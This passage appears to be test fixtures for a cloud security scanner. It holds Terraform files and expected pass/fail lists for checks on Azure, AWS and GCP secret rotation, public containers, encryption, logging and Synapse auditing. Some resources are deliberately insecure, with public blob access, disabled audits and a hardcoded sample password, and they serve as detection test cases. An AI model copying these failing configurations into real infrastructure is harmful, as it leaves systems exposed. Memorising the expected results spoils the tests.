    "path": "tests/terraform/graph/checks/resources/SecretsAreRotated/main.tf",
    "content": "resource \"aws_secretsmanager_secret_rotation\" \"pass\" {\n  secret_id           = aws_secretsmanager_secret.pass.id\n  rotation_lambda_arn = aws_lambda_function.example.arn\n\n  rotation_rules {\n    automatically_after_days = 30\n  }\n}\n\nresource \"aws_secretsmanager_secret\" \"pass\" {\n  name = \"pike\"\n}\n\nresource \"aws_secretsmanager_secret\" \"fail\" {\n  name = \"sato\"\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/ServiceAccountHasGCPmanagedKey/expected.yaml",
    "content": "pass:\n  - \"google_service_account_key.account_ok\"\nfail:\n  - \"google_service_account_key.account_bad\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/ServiceAccountHasGCPmanagedKey/main.tf",
    "content": "resource \"google_service_account\" \"account\" {\n  account_id = \"dev-foo-account\"\n}\n\nresource \"google_service_account_key\" \"account_ok\" {\n  service_account_id = google_service_account.account.name\n}\n\nresource \"google_service_account_key\" \"account_bad\" {\n  service_account_id = google_service_account.account.name\n  public_key_data = \"foo\"\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/StorageContainerActivityLogsNotPublic/expected.yaml",
    "content": "pass:\n  - \"azurerm_storage_container.ok_container_log_enabled_by_default\"\n  - \"azurerm_storage_container.ok_container_log_enabled\"\n  - \"azurerm_storage_container.ok_container_log_disabled\"\n  - \"azurerm_storage_container.ok_container_log_enabled_by_default_2\"\n  - \"azurerm_storage_container.ok_container_log_enabled_2\"\n  - \"azurerm_storage_container.ok_container_log_disabled_2\"\n  - \"azurerm_storage_container.ok_container_log_disabled_3\"\n  - \"azurerm_storage_container.ok_container_4\"\nfail:\n  - \"azurerm_storage_container.not_ok_container_log_enabled_by_default\"\n  - \"azurerm_storage_container.not_ok_container_log_enabled\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/StorageContainerActivityLogsNotPublic/main.tf",
    "content": "# -------------------------------------------------------------------- #\n# default in azurerm_monitor_activity_log_alert is logging enabled\nresource \"azurerm_storage_container\" \"ok_container_log_enabled_by_default\" {\n  name                  = \"vhds\"\n  storage_account_name  = azurerm_storage_account.ok_account_1.name\n  container_access_type = \"private\"\n}\n\nresource \"azurerm_storage_container\" \"ok_container_log_enabled_by_default_2\" {\n  name                  = \"vhds\"\n  storage_account_name  = azurerm_storage_account.ok_account_1.name\n}\n\nresource \"azurerm_storage_container\" \"not_ok_container_log_enabled_by_default\" {\n  name                  = \"vhds\"\n  storage_account_name  = azurerm_storage_account.ok_account_1.name\n  container_access_type = \"blob\"\n}\n\nresource \"azurerm_storage_account\" \"ok_account_1\" {\n  name                     = \"examplesa\"\n  resource_group_name      = azurerm_resource_group.main.name\n  location                 = azurerm_resource_group.main.location\n  account_tier             = \"Standard\"\n  account_replication_type = \"GRS\"\n}\n\nresource \"azurerm_monitor_activity_log_alert\" \"ok_monitor_activity_log_alert_1\" {\n  name                = \"example-activitylogalert\"\n  resource_group_name = azurerm_resource_group.main.name\n  scopes              = [azurerm_resource_group.main.id]\n  description         = \"This alert will monitor a specific storage account updates.\"\n\n  criteria {\n    resource_id    = azurerm_storage_account.ok_account_1.id\n    operation_name = \"Microsoft.Storage/storageAccounts/write\"\n    category       = \"Recommendation\"\n  }\n\n  action {\n    action_group_id = azurerm_monitor_action_group.main.id\n\n    webhook_properties = {\n      from = \"terraform\"\n    }\n  }\n}\n\n# -------------------------------------------------------------------- #\n# if log is enabled explicitly\nresource \"azurerm_storage_container\" \"ok_container_log_enabled\" {\n  name                  = \"vhds\"\n  storage_account_name  = azurerm_storage_account.ok_account_2.name\n  container_access_type = \"private\"\n}\n\nresource \"azurerm_storage_container\" \"ok_container_log_enabled_2\" {\n  name                  = \"vhds\"\n  storage_account_name  = azurerm_storage_account.ok_account_2.name\n}\n\nresource \"azurerm_storage_container\" \"not_ok_container_log_enabled\" {\n  name                  = \"vhds\"\n  storage_account_name  = azurerm_storage_account.ok_account_2.name\n  container_access_type = \"blob\"\n}\n\nresource \"azurerm_storage_account\" \"ok_account_2\" {\n  name                     = \"examplesa\"\n  resource_group_name      = azurerm_resource_group.main.name\n  location                 = azurerm_resource_group.main.location\n  account_tier             = \"Standard\"\n  account_replication_type = \"GRS\"\n}\n\nresource \"azurerm_monitor_activity_log_alert\" \"ok_monitor_activity_log_alert_2\" {\n  name                = \"example-activitylogalert\"\n  resource_group_name = azurerm_resource_group.main.name\n  scopes              = [azurerm_resource_group.main.id]\n  description         = \"This alert will monitor a specific storage account updates.\"\n  enabled             = true\n\n  criteria {\n    resource_id    = azurerm_storage_account.ok_account_2.id\n    operation_name = \"Microsoft.Storage/storageAccounts/write\"\n    category       = \"Recommendation\"\n  }\n\n  action {\n    action_group_id = azurerm_monitor_action_group.main.id\n\n    webhook_properties = {\n      from = \"terraform\"\n    }\n  }\n}\n\n# -------------------------------------------------------------------- #\n# logging disabled - doesn't care if container private or not\n\nresource \"azurerm_storage_container\" \"ok_container_log_disabled_3\" {\n  name                  = \"vhds\"\n  storage_account_name  = azurerm_storage_account.ok_account_3.name\n  container_access_type = \"blob\"\n}\n\nresource \"azurerm_storage_container\" \"ok_container_log_disabled\" {\n  name                  = \"vhds\"\n  storage_account_name  = azurerm_storage_account.ok_account_3.name\n  container_access_type = \"private\"\n}\n\nresource \"azurerm_storage_container\" \"ok_container_log_disabled_2\" {\n  name                  = \"vhds\"\n  storage_account_name  = azurerm_storage_account.ok_account_3.name\n}\n\nresource \"azurerm_storage_account\" \"ok_account_3\" {\n  name                     = \"examplesa\"\n  resource_group_name      = azurerm_resource_group.main.name\n  location                 = azurerm_resource_group.main.location\n  account_tier             = \"Standard\"\n  account_replication_type = \"GRS\"\n}\n\nresource \"azurerm_monitor_activity_log_alert\" \"not_enabled_monitor_activity_log_alert\" {\n  name                = \"example-activitylogalert\"\n  resource_group_name = azurerm_resource_group.main.name\n  scopes              = [azurerm_resource_group.main.id]\n  description         = \"This alert will monitor a specific storage account updates.\"\n  enabled             = false\n\n  criteria {\n    resource_id    = azurerm_storage_account.ok_account_3.id\n    operation_name = \"Microsoft.Storage/storageAccounts/write\"\n    category       = \"Recommendation\"\n  }\n\n  action {\n    action_group_id = azurerm_monitor_action_group.main.id\n\n    webhook_properties = {\n      from = \"terraform\"\n    }\n  }\n}\n\n# -------------------------------------------------------------------- #\n# container with no connection to logging at all - all good\n\nresource \"azurerm_storage_container\" \"ok_container_4\" {\n  name                  = \"vhds\"\n  storage_account_name  = azurerm_storage_account.ok_account_4.name\n  container_access_type = \"blob\"\n}\n\nresource \"azurerm_storage_account\" \"ok_account_4\" {\n  name                     = \"examplesa\"\n  resource_group_name      = azurerm_resource_group.main.name\n  location                 = azurerm_resource_group.main.location\n  account_tier             = \"Standard\"\n  account_replication_type = \"GRS\"\n}\n\n# -------------------------------------------------------------------- #\n# other resources\nresource \"azurerm_resource_group\" \"main\" {\n  name     = \"okLegacyExample-resources\"\n  location = \"West Europe\"\n}\n\nresource \"azurerm_monitor_action_group\" \"main\" {\n  name                = \"CriticalAlertsAction\"\n  resource_group_name = azurerm_resource_group.main.name\n  short_name          = \"p0action\"\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/StorageCriticalDataEncryptedCMK/expected.yaml",
    "content": "pass:\n  - \"azurerm_storage_account.ok_storage_account\"\n  - \"azurerm_storage_account.ok_inline\"\nfail:\n  - \"azurerm_storage_account.not_ok_storage_account\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/StorageCriticalDataEncryptedCMK/main.tf",
    "content": "data \"azurerm_client_config\" \"current\" {}\n\nresource \"azurerm_resource_group\" \"example\" {\n  name     = \"example-resources\"\n  location = \"West Europe\"\n}\n\nresource \"azurerm_key_vault\" \"example\" {\n  name                = \"examplekv\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  tenant_id           = data.azurerm_client_config.current.tenant_id\n  sku_name            = \"standard\"\n\n  purge_protection_enabled = true\n}\n\nresource \"azurerm_key_vault_access_policy\" \"client\" {\n  key_vault_id = azurerm_key_vault.example.id\n  tenant_id    = data.azurerm_client_config.current.tenant_id\n  object_id    = data.azurerm_client_config.current.object_id\n\n  key_permissions    = [\"get\", \"create\", \"delete\", \"list\", \"restore\", \"recover\", \"unwrapkey\", \"wrapkey\", \"purge\", \"encrypt\", \"decrypt\", \"sign\", \"verify\"]\n  secret_permissions = [\"get\"]\n}\n\nresource \"azurerm_key_vault_key\" \"example\" {\n  name         = \"tfex-key\"\n  key_vault_id = azurerm_key_vault.example.id\n  key_type     = \"RSA\"\n  key_size     = 2048\n  key_opts     = [\"decrypt\", \"encrypt\", \"sign\", \"unwrapKey\", \"verify\", \"wrapKey\"]\n\n  depends_on = [\n    azurerm_key_vault_access_policy.client\n  ]\n}\n\n\nresource \"azurerm_storage_account\" \"ok_storage_account\" {\n  name                     = \"examplestor\"\n  resource_group_name      = azurerm_resource_group.example.name\n  location                 = azurerm_resource_group.example.location\n  account_tier             = \"Standard\"\n  account_replication_type = \"GRS\"\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n}\n\nresource \"azurerm_storage_account\" \"ok_inline\" {\n  name                     = \"examplestor\"\n  resource_group_name      = azurerm_resource_group.example.name\n  location                 = azurerm_resource_group.example.location\n  account_tier             = \"Standard\"\n  account_replication_type = \"GRS\"\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n\n  customer_managed_key {\n    key_vault_key_id          = \"azurerm_key_vault.example.id\"\n    user_assigned_identity_id = \"identity_id\"\n  }\n}\n\nresource \"azurerm_storage_account\" \"not_ok_storage_account\" {\n  name                     = \"examplestor\"\n  resource_group_name      = azurerm_resource_group.example.name\n  location                 = azurerm_resource_group.example.location\n  account_tier             = \"Standard\"\n  account_replication_type = \"GRS\"\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n}\n\nresource \"azurerm_storage_account_customer_managed_key\" \"ok_cmk\" {\n  storage_account_id = azurerm_storage_account.ok_storage_account.id\n  key_vault_id       = azurerm_key_vault.example.id\n  key_name           = azurerm_key_vault_key.example.name\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/StorageLoggingIsEnabledForBlobService/expected.yaml",
    "content": "pass:\n  - \"azurerm_storage_container.storage_container_ok\"\n  - \"azurerm_storage_container.storage_account_ok_private\"\nfail:\n  - \"azurerm_storage_container.storage_container_not_ok\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/StorageLoggingIsEnabledForBlobService/main.tf",
    "content": "resource \"azurerm_resource_group\" \"resource_group_ok\" {\n  name     = \"example-resources\"\n  location = \"West Europe\"\n}\n\nresource \"azurerm_log_analytics_workspace\" \"analytics_workspace_ok\" {\n  name                = \"exampleworkspace\"\n  location            = azurerm_resource_group.resource_group_ok.location\n  resource_group_name = azurerm_resource_group.resource_group_ok.name\n  sku                 = \"PerGB2018\"\n  retention_in_days   = 30\n}\n\n# pass\n\nresource \"azurerm_storage_account\" \"storage_account_ok\" {\n  name                     = \"examplestoracc\"\n  resource_group_name      = azurerm_resource_group.resource_group_ok.name\n  location                 = azurerm_resource_group.resource_group_ok.location\n  account_tier             = \"Standard\"\n  account_replication_type = \"LRS\"\n}\n\nresource \"azurerm_log_analytics_storage_insights\" \"analytics_storage_insights_ok\" {\n  name                = \"example-storageinsightconfig\"\n  resource_group_name = azurerm_resource_group.resource_group_ok.name\n  workspace_id        = azurerm_log_analytics_workspace.analytics_workspace_ok.id\n\n  storage_account_id  = azurerm_storage_account.storage_account_ok.id\n  storage_account_key = azurerm_storage_account.storage_account_ok.primary_access_key\n  blob_container_names= [\"blobExample_ok\"]\n}\n\nresource \"azurerm_storage_container\" \"storage_container_ok\" {\n  name                   = \"my-awesome-content.zip\"\n  storage_account_name   = azurerm_storage_account.storage_account_ok.name\n  storage_container_name = azurerm_storage_container.storage_container_ok.name\n  container_access_type  = \"blob\"\n}\n\nresource \"azurerm_storage_account\" \"storage_account_ok_private\" {\n  name                     = \"examplestoracc\"\n  resource_group_name      = azurerm_resource_group.resource_group_ok.name\n  location                 = azurerm_resource_group.resource_group_ok.location\n  account_tier             = \"Standard\"\n  account_replication_type = \"LRS\"\n}\n\nresource \"azurerm_log_analytics_storage_insights\" \"storage_account_ok_private\" {\n  name                = \"example-storageinsightconfig\"\n  resource_group_name = azurerm_resource_group.resource_group_ok.name\n  workspace_id        = azurerm_log_analytics_workspace.analytics_workspace_ok.id\n\n  storage_account_id  = azurerm_storage_account.storage_account_ok_private.id\n  storage_account_key = azurerm_storage_account.storage_account_ok_private.primary_access_key\n  blob_container_names= [\"blobExample_ok\"]\n}\n\nresource \"azurerm_storage_container\" \"storage_account_ok_private\" {\n  name                   = \"my-awesome-content.zip\"\n  storage_account_name   = azurerm_storage_account.storage_account_ok_private.name\n  storage_container_name = azurerm_storage_container.storage_account_ok_private.name\n  container_access_type  = \"private\"\n}\n\n# fail\n\nresource \"azurerm_storage_account\" \"storage_account_not_ok\" {\n  name                     = \"examplestoracc\"\n  resource_group_name      = azurerm_resource_group.blobExample_not_ok.name\n  location                 = azurerm_resource_group.blobExample_not_ok.location\n  account_tier             = \"Standard\"\n  account_replication_type = \"LRS\"\n}\n\nresource \"azurerm_log_analytics_storage_insights\" \"storage_insights_not_ok\" {\n  name                = \"example-storageinsightconfig\"\n  resource_group_name = azurerm_resource_group.blobExample_not_ok.name\n  workspace_id        = azurerm_log_analytics_workspace.blobExample_not_ok.id\n\n  storage_account_id  = azurerm_storage_account.storage_account_not_ok.id\n  storage_account_key = azurerm_storage_account.storage_account_not_ok.primary_access_key\n}\n\nresource \"azurerm_storage_container\" \"storage_container_not_ok\" {\n  name                   = \"my-awesome-content.zip\"\n  storage_account_name   = azurerm_storage_account.storage_account_not_ok.name\n  storage_container_name = azurerm_storage_container.storage_container_not_ok.name\n  container_access_type  = \"blob\"\n}\n\n\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/StorageLoggingIsEnabledForTableService/expected.yaml",
    "content": "pass:\n  - \"azurerm_storage_table.blobExample_ok\"\nfail:\n  - \"azurerm_storage_table.blobExample_not_ok\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/StorageLoggingIsEnabledForTableService/main.tf",
    "content": "resource \"azurerm_resource_group\" \"blobExample_ok\" {\n  name     = \"example-resources\"\n  location = \"West Europe\"\n}\n\nresource \"azurerm_log_analytics_workspace\" \"blobExample_ok\" {\n  name                = \"exampleworkspace\"\n  location            = azurerm_resource_group.blobExample_ok.location\n  resource_group_name = azurerm_resource_group.blobExample_ok.name\n  sku                 = \"PerGB2018\"\n  retention_in_days   = 30\n}\n\nresource \"azurerm_storage_account\" \"blobExample_ok\" {\n  name                     = \"examplestoracc\"\n  resource_group_name      = azurerm_resource_group.blobExample_ok.name\n  location                 = azurerm_resource_group.blobExample_ok.location\n  account_tier             = \"Standard\"\n  account_replication_type = \"LRS\"\n}\n\nresource \"azurerm_log_analytics_storage_insights\" \"blobExample_ok\" {\n  name                = \"example-storageinsightconfig\"\n  resource_group_name = azurerm_resource_group.blobExample_ok.name\n  workspace_id        = azurerm_log_analytics_workspace.blobExample_ok.id\n\n  storage_account_id  = azurerm_storage_account.blobExample_ok.id\n  storage_account_key = azurerm_storage_account.blobExample_ok.primary_access_key\n  table_names = [\"myexampletable_ok\"]\n}\n\nresource \"azurerm_storage_table\" \"blobExample_ok\" {\n  name                   = \"myexampletable_ok\"\n  storage_account_name   = azurerm_storage_account.blobExample_ok.name\n  storage_container_name = azurerm_storage_container.blobExample_ok.name\n}\n\n\nresource \"azurerm_storage_account\" \"blobExample_not_ok\" {\n  name                     = \"examplestoracc\"\n  resource_group_name      = azurerm_resource_group.blobExample_not_ok.name\n  location                 = azurerm_resource_group.blobExample_not_ok.location\n  account_tier             = \"Standard\"\n  account_replication_type = \"LRS\"\n}\n\nresource \"azurerm_log_analytics_storage_insights\" \"blobExample_not_ok\" {\n  name                = \"example-storageinsightconfig\"\n  resource_group_name = azurerm_resource_group.blobExample_not_ok.name\n  workspace_id        = azurerm_log_analytics_workspace.blobExample_not_ok.id\n\n  storage_account_id  = azurerm_storage_account.blobExample_not_ok.id\n  storage_account_key = azurerm_storage_account.blobExample_not_ok.primary_access_key\n}\n\nresource \"azurerm_storage_table\" \"blobExample_not_ok\" {\n  name                   = \"myexampletable_not_ok\"\n  storage_account_name   = azurerm_storage_account.blobExample_not_ok.name\n  storage_container_name = azurerm_storage_container.blobExample_not_ok.name\n}\n\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/SubnetHasACL/expected.yaml",
    "content": "pass:\n  - \"aws_network_acl.acl_ok_optionB\"\nfail:\n  - \"aws_network_acl.acl_ok_optionA\"\n  - \"aws_network_acl.acl_bad_B\"\n  - \"aws_network_acl.acl_bad_A\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/SubnetHasACL/main.tf",
    "content": "resource \"aws_vpc\" \"ok_vpc\" {\n  cidr_block = \"10.0.0.0/16\"\n}\n\nresource \"aws_network_acl\" \"acl_ok_optionA\" {\n  vpc_id = aws_vpc.ok_vpc.id\n}\n\nresource \"aws_subnet\" \"main\" {\n  vpc_id     = aws_vpc.ok_vpc.id\n  cidr_block = \"10.0.1.0/24\"\n}\n\nresource \"aws_subnet\" \"main_optionB\" {\n  cidr_block = \"10.0.1.0/24\"\n}\n\nresource \"aws_network_acl\" \"acl_ok_optionB\" {\n  vpc_id = aws_vpc.ok_vpc.id\n  subnet_ids = [aws_subnet.main_optionB.id]\n}\n\n\nresource \"aws_vpc\" \"bad_vpc\" {\n  cidr_block = \"10.0.0.0/16\"\n}\n\n\nresource \"aws_network_acl\" \"acl_bad_A\" {\n  vpc_id = aws_vpc.bad_vpc.id\n}\n\nresource \"aws_network_acl\" \"acl_bad_B\" {\n  \n}\n\nresource \"aws_vpc\" \"no_nacl_vpc\" {\n  cidr_block = \"10.0.0.0/16\"\n}\n\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/SynapseLogMonitoringEnabledForSQLPool/expected.yaml",
    "content": "pass:\n  - \"azurerm_synapse_sql_pool.azurerm_synapse_sql_pool_pass_A\"\n  - \"azurerm_synapse_sql_pool.azurerm_synapse_sql_pool_pass_B\"\nfail:\n  - \"azurerm_synapse_sql_pool.azurerm_synapse_sql_pool_fail_A\"\n  - \"azurerm_synapse_sql_pool.azurerm_synapse_sql_pool_fail_B\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/SynapseLogMonitoringEnabledForSQLPool/main.tf",
    "content": "resource \"azurerm_resource_group\" \"example\" {\n  name     = \"example-resources\"\n  location = \"West Europe\"\n}\n\nresource \"azurerm_synapse_workspace\" \"azurerm_synapse_workspace_example\" {\n  name                                 = \"example\"\n  resource_group_name                  = azurerm_resource_group.example.name\n  location                             = azurerm_resource_group.example.location\n  storage_data_lake_gen2_filesystem_id = azurerm_storage_data_lake_gen2_filesystem.example.id\n  sql_administrator_login              = \"sqladminuser\"\n  sql_administrator_login_password     = \"H@Sh1CoR3!\"\n\n  aad_admin {\n    login     = \"AzureAD Admin\"\n    object_id = \"00000000-0000-0000-0000-000000000000\"\n    tenant_id = \"00000000-0000-0000-0000-000000000000\"\n  }\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n\n  tags = {\n    Env = \"production\"\n  }\n}\n\nresource \"azurerm_synapse_sql_pool\" \"azurerm_synapse_sql_pool_pass_A\" {\n  name                 = \"examplesqlpool\"\n  synapse_workspace_id = azurerm_synapse_workspace.azurerm_synapse_workspace_example.id\n  sku_name             = \"DW100c\"\n  create_mode          = \"Default\"\n}\n\nresource \"azurerm_synapse_sql_pool\" \"azurerm_synapse_sql_pool_pass_B\" {\n  name                 = \"examplesqlpool\"\n  synapse_workspace_id = azurerm_synapse_workspace.azurerm_synapse_workspace_example.id\n  sku_name             = \"DW100c\"\n  create_mode          = \"Default\"\n}\n\nresource \"azurerm_synapse_sql_pool\" \"azurerm_synapse_sql_pool_fail_A\" {\n  name                 = \"examplesqlpool\"\n  synapse_workspace_id = azurerm_synapse_workspace.azurerm_synapse_workspace_example.id\n  sku_name             = \"DW100c\"\n  create_mode          = \"Default\"\n}\n\nresource \"azurerm_synapse_sql_pool\" \"azurerm_synapse_sql_pool_fail_B\" {\n  name                 = \"examplesqlpool\"\n  synapse_workspace_id = azurerm_synapse_workspace.azurerm_synapse_workspace_example.id\n  sku_name             = \"DW100c\"\n  create_mode          = \"Default\"\n}\n\n\nresource \"azurerm_synapse_sql_pool_extended_auditing_policy\" \"extended_auditing_policy_enabled\" {\n  sql_pool_id                             = azurerm_synapse_sql_pool.azurerm_synapse_sql_pool_pass_A.id\n  log_monitoring_enabled                  = true\n  storage_endpoint                        = azurerm_storage_account.audit_logs.primary_blob_endpoint\n  storage_account_access_key              = azurerm_storage_account.audit_logs.primary_access_key\n  storage_account_access_key_is_secondary = false\n  retention_in_days                       = 6\n}\n\nresource \"azurerm_synapse_sql_pool_extended_auditing_policy\" \"extended_auditing_policy_enabled_by_default\" {\n  sql_pool_id                             = azurerm_synapse_sql_pool.azurerm_synapse_sql_pool_pass_B.id\n  storage_endpoint                        = azurerm_storage_account.audit_logs.primary_blob_endpoint\n  storage_account_access_key              = azurerm_storage_account.audit_logs.primary_access_key\n  storage_account_access_key_is_secondary = false\n  retention_in_days                       = 6\n}\n\nresource \"azurerm_synapse_sql_pool_extended_auditing_policy\" \"extended_auditing_policy_disabled\" {\n  sql_pool_id                             = azurerm_synapse_sql_pool.azurerm_synapse_sql_pool_fail_B.id\n  log_monitoring_enabled                  = false\n  storage_endpoint                        = azurerm_storage_account.audit_logs.primary_blob_endpoint\n  storage_account_access_key              = azurerm_storage_account.audit_logs.primary_access_key\n  storage_account_access_key_is_secondary = false\n  retention_in_days                       = 6\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/SynapseSQLPoolHasSecurityAlertPolicy/expected.yaml",
    "content": "pass:\n  - \"azurerm_synapse_sql_pool.azurerm_synapse_sql_pool_pass\"\nfail:\n  - \"azurerm_synapse_sql_pool.azurerm_synapse_sql_pool_fail_A\"\n  - \"azurerm_synapse_sql_pool.azurerm_synapse_sql_pool_fail_B\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/SynapseSQLPoolHasSecurityAlertPolicy/main.tf",
    "content": "resource \"azurerm_resource_group\" \"example\" {\n  name     = \"example-resources\"\n  location = \"West Europe\"\n}\n\nresource \"azurerm_synapse_workspace\" \"azurerm_synapse_workspace_example\" {\n  name                                 = \"example\"\n  resource_group_name                  = azurerm_resource_group.example.name\n  location                             = azurerm_resource_group.example.location\n  storage_data_lake_gen2_filesystem_id = azurerm_storage_data_lake_gen2_filesystem.example.id\n  sql_administrator_login              = \"sqladminuser\"\n  sql_administrator_login_password     = \"H@Sh1CoR3!\"\n\n  aad_admin {\n    login     = \"AzureAD Admin\"\n    object_id = \"00000000-0000-0000-0000-000000000000\"\n    tenant_id = \"00000000-0000-0000-0000-000000000000\"\n  }\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n\n  tags = {\n    Env = \"production\"\n  }\n}\n\nresource \"azurerm_synapse_sql_pool\" \"azurerm_synapse_sql_pool_pass\" {\n  name                 = \"examplesqlpool\"\n  synapse_workspace_id = azurerm_synapse_workspace.azurerm_synapse_workspace_example.id\n  sku_name             = \"DW100c\"\n  create_mode          = \"Default\"\n}\n\nresource \"azurerm_synapse_sql_pool\" \"azurerm_synapse_sql_pool_fail_A\" {\n  name                 = \"examplesqlpool\"\n  synapse_workspace_id = azurerm_synapse_workspace.azurerm_synapse_workspace_example.id\n  sku_name             = \"DW100c\"\n  create_mode          = \"Default\"\n}\n\nresource \"azurerm_synapse_sql_pool\" \"azurerm_synapse_sql_pool_fail_B\" {\n  name                 = \"examplesqlpool\"\n  synapse_workspace_id = azurerm_synapse_workspace.azurerm_synapse_workspace_example.id\n  sku_name             = \"DW100c\"\n  create_mode          = \"Default\"\n}\n\nresource \"azurerm_storage_account\" \"audit_logs\" {\n  name                     = \"examplesa\"\n  resource_group_name      = azurerm_resource_group.example.name\n  location                 = azurerm_resource_group.example.location\n  account_tier             = \"Standard\"\n  account_replication_type = \"LRS\"\n}\n\nresource \"azurerm_synapse_sql_pool_security_alert_policy\" \"azurerm_synapse_sql_pool_security_alert_policy_enabled\" {\n  sql_pool_id                = azurerm_synapse_sql_pool.azurerm_synapse_sql_pool_pass.id\n  policy_state               = \"Enabled\"\n  storage_endpoint           = azurerm_storage_account.audit_logs.primary_blob_endpoint\n  storage_account_access_key = azurerm_storage_account.audit_logs.primary_access_key\n  disabled_alerts = [\n    \"Sql_Injection\",\n    \"Data_Exfiltration\"\n  ]\n  retention_days = 20\n}\n\nresource \"azurerm_synapse_sql_pool_security_alert_policy\" \"azurerm_synapse_sql_pool_security_alert_policy_disabled\" {\n  sql_pool_id                = azurerm_synapse_sql_pool.azurerm_synapse_sql_pool_fail_B.id\n  policy_state               = \"Disabled\"\n  storage_endpoint           = azurerm_storage_account.audit_logs.primary_blob_endpoint\n  storage_account_access_key = azurerm_storage_account.audit_logs.primary_access_key\n  disabled_alerts = [\n    \"Sql_Injection\",\n    \"Data_Exfiltration\"\n  ]\n  retention_days = 20\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/SynapseSQLPoolHasVulnerabilityAssessment/expected.yaml",
    "content": "pass:\n  - \"azurerm_synapse_sql_pool_security_alert_policy.azurerm_synapse_sql_pool_security_alert_policy_pass\"\nfail:\n  - \"azurerm_synapse_sql_pool_security_alert_policy.azurerm_synapse_sql_pool_security_alert_policy_fail_A\"\n  - \"azurerm_synapse_sql_pool_security_alert_policy.azurerm_synapse_sql_pool_security_alert_policy_fail_B\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/SynapseSQLPoolHasVulnerabilityAssessment/main.tf",
    "content": "resource \"azurerm_resource_group\" \"example\" {\n  name     = \"example-resources\"\n  location = \"West Europe\"\n}\n\nresource \"azurerm_synapse_workspace\" \"azurerm_synapse_workspace_example\" {\n  name                                 = \"example\"\n  resource_group_name                  = azurerm_resource_group.example.name\n  location                             = azurerm_resource_group.example.location\n  storage_data_lake_gen2_filesystem_id = azurerm_storage_data_lake_gen2_filesystem.example.id\n  sql_administrator_login              = \"sqladminuser\"\n  sql_administrator_login_password     = \"H@Sh1CoR3!\"\n\n  aad_admin {\n    login     = \"AzureAD Admin\"\n    object_id = \"00000000-0000-0000-0000-000000000000\"\n    tenant_id = \"00000000-0000-0000-0000-000000000000\"\n  }\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n\n  tags = {\n    Env = \"production\"\n  }\n}\n\nresource \"azurerm_synapse_sql_pool\" \"azurerm_synapse_sql_pool_example\" {\n  name                 = \"examplesqlpool\"\n  synapse_workspace_id = azurerm_synapse_workspace.azurerm_synapse_workspace_example.id\n  sku_name             = \"DW100c\"\n  create_mode          = \"Default\"\n}\n\n\nresource \"azurerm_storage_account\" \"audit_logs\" {\n  name                     = \"examplesa\"\n  resource_group_name      = azurerm_resource_group.example.name\n  location                 = azurerm_resource_group.example.location\n  account_tier             = \"Standard\"\n  account_replication_type = \"LRS\"\n}\n\nresource \"azurerm_synapse_sql_pool_security_alert_policy\" \"azurerm_synapse_sql_pool_security_alert_policy_pass\" {\n  sql_pool_id                = azurerm_synapse_sql_pool.azurerm_synapse_sql_pool_example.id\n  policy_state               = \"Enabled\"\n  storage_endpoint           = azurerm_storage_account.audit_logs.primary_blob_endpoint\n  storage_account_access_key = azurerm_storage_account.audit_logs.primary_access_key\n  disabled_alerts = [\n    \"Sql_Injection\",\n    \"Data_Exfiltration\"\n  ]\n  retention_days = 20\n}\n\nresource \"azurerm_synapse_sql_pool_security_alert_policy\" \"azurerm_synapse_sql_pool_security_alert_policy_fail_A\" {\n  sql_pool_id                = azurerm_synapse_sql_pool.azurerm_synapse_sql_pool_example.id\n  policy_state               = \"Enabled\"\n  storage_endpoint           = azurerm_storage_account.audit_logs.primary_blob_endpoint\n  storage_account_access_key = azurerm_storage_account.audit_logs.primary_access_key\n  disabled_alerts = [\n    \"Sql_Injection\",\n    \"Data_Exfiltration\"\n  ]\n  retention_days = 20\n}\n\nresource \"azurerm_synapse_sql_pool_security_alert_policy\" \"azurerm_synapse_sql_pool_security_alert_policy_fail_B\" {\n  sql_pool_id                = azurerm_synapse_sql_pool.azurerm_synapse_sql_pool_example.id\n  policy_state               = \"Enabled\"\n  storage_endpoint           = azurerm_storage_account.audit_logs.primary_blob_endpoint\n  storage_account_access_key = azurerm_storage_account.audit_logs.primary_access_key\n  disabled_alerts = [\n    \"Sql_Injection\",\n    \"Data_Exfiltration\"\n  ]\n  retention_days = 20\n}\n\nresource \"azurerm_synapse_sql_pool_vulnerability_assessment\" \"azurerm_synapse_sql_pool_vulnerability_assessment_enabled\" {\n  sql_pool_security_alert_policy_id = azurerm_synapse_sql_pool_security_alert_policy.azurerm_synapse_sql_pool_security_alert_policy_pass.id\n  storage_container_path            = \"${azurerm_storage_account.example.primary_blob_endpoint}${azurerm_storage_container.example.name}/\"\n  storage_account_access_key        = azurerm_storage_account.example.primary_access_key\n\n  recurring_scans {\n    enabled                           = true\n    email_subscription_admins_enabled = true\n    emails = [\n      \"email@example1.com\",\n      \"email@example2.com\"\n    ]\n  }\n}\n\nresource \"azurerm_synapse_sql_pool_vulnerability_assessment\" \"azurerm_synapse_sql_pool_vulnerability_assessment_disabled\" {\n  sql_pool_security_alert_policy_id = azurerm_synapse_sql_pool_security_alert_policy.azurerm_synapse_sql_pool_security_alert_policy_fail_B.id\n  storage_container_path            = \"${azurerm_storage_account.example.primary_blob_endpoint}${azurerm_storage_container.example.name}/\"\n  storage_account_access_key        = azurerm_storage_account.example.primary_access_key\n\n  recurring_scans {\n    enabled                         